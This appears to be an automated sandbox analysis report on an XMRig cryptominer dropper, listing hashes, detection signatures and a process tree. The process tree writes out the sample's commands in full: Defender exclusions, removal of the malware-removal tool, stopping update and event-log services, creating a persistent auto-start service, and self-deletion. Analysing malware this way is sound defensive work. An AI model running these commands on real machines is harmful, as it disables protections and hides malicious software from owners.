Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 00:54
Static task
static1
Behavioral task
behavioral1
Sample
878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe
Resource
win7-20240708-en
General
-
Target
878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe
-
Size
5.6MB
-
MD5
8628acda70d1091907146991c798169d
-
SHA1
716d43c978e987ef4792990c414e7e1e6887f931
-
SHA256
878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581
-
SHA512
2bfe738634bf57088bf1384c5ebcf47b10038a25669b41df5e97a1bff1bdf0620e62493905a1cff0c38c5b57a29765a7be0a4acd609bb27e6391ecba3a5afe43
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/4740-61-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-62-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-64-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-67-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-65-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-66-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-68-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-69-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-71-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-72-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4740-73-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3120 powershell.exe 3680 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 1 IoCs
pid Process 4676 lutlgidagtja.exe -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1612 powercfg.exe 2284 powercfg.exe 3960 powercfg.exe 4508 powercfg.exe 2960 powercfg.exe 1348 powercfg.exe 3536 powercfg.exe 4700 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4676 set thread context of 4800 4676 lutlgidagtja.exe 148 PID 4676 set thread context of 4740 4676 lutlgidagtja.exe 153 -
resource yara_rule behavioral2/memory/4740-56-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-60-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-58-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-61-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-62-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-57-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-59-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-64-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-67-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-65-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-66-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-68-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-69-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-71-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-72-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4740-73-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3260 sc.exe 3512 sc.exe 4504 sc.exe 580 sc.exe 1488 sc.exe 4352 sc.exe 1672 sc.exe 4420 sc.exe 3552 sc.exe 4940 sc.exe 1680 sc.exe 3652 sc.exe 2608 sc.exe 1328 sc.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 3120 powershell.exe 3120 powershell.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4384 878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe 4676 lutlgidagtja.exe 3680 powershell.exe 3680 powershell.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4676 lutlgidagtja.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe 4740 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 3120 powershell.exe Token: SeShutdownPrivilege 1612 powercfg.exe Token: SeCreatePagefilePrivilege 1612 powercfg.exe Token: SeShutdownPrivilege 4700 powercfg.exe Token: SeCreatePagefilePrivilege 4700 powercfg.exe Token: SeShutdownPrivilege 2284 powercfg.exe Token: SeCreatePagefilePrivilege 2284 powercfg.exe Token: SeShutdownPrivilege 3960 powercfg.exe Token: SeCreatePagefilePrivilege 3960 powercfg.exe Token: SeDebugPrivilege 3680 powershell.exe Token: SeShutdownPrivilege 4508 powercfg.exe Token: SeCreatePagefilePrivilege 4508 powercfg.exe Token: SeShutdownPrivilege 3536 powercfg.exe Token: SeCreatePagefilePrivilege 3536 powercfg.exe Token: SeShutdownPrivilege 2960 powercfg.exe Token: SeCreatePagefilePrivilege 2960 powercfg.exe Token: SeShutdownPrivilege 1348 powercfg.exe Token: SeCreatePagefilePrivilege 1348 powercfg.exe Token: SeLockMemoryPrivilege 4740 nslookup.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3872 wrote to memory of 1760 3872 cmd.exe 100 PID 3872 wrote to memory of 1760 3872 cmd.exe 100 PID 1032 wrote to memory of 4160 1032 cmd.exe 128 PID 1032 wrote to memory of 4160 1032 cmd.exe 128 PID 4164 wrote to memory of 4868 4164 cmd.exe 135 PID 4164 wrote to memory of 4868 4164 cmd.exe 135 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4800 4676 lutlgidagtja.exe 148 PID 4676 wrote to memory of 4740 4676 lutlgidagtja.exe 153 PID 4676 wrote to memory of 4740 4676 lutlgidagtja.exe 153 PID 4676 wrote to memory of 4740 4676 lutlgidagtja.exe 153 PID 4676 wrote to memory of 4740 4676 lutlgidagtja.exe 153 PID 4676 wrote to memory of 4740 4676 lutlgidagtja.exe 153
Processes
-
C:\Users\Admin\AppData\Local\Temp\878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe"C:\Users\Admin\AppData\Local\Temp\878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4384 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1760
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:580
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3260
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3652
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1328
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3512
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4700
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1612
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2284
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:1672
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:4352
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:4420
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:1488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4160
-
-
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4868
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3552
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4504
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:4940
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2608
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1680
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4508
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3536
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1348
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2960
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:4800
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD58628acda70d1091907146991c798169d
SHA1716d43c978e987ef4792990c414e7e1e6887f931
SHA256878c8168d545d03eaad74df3b9a9e9eb7e34882f6bf70105a4b9428937c12581
SHA5122bfe738634bf57088bf1384c5ebcf47b10038a25669b41df5e97a1bff1bdf0620e62493905a1cff0c38c5b57a29765a7be0a4acd609bb27e6391ecba3a5afe43
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82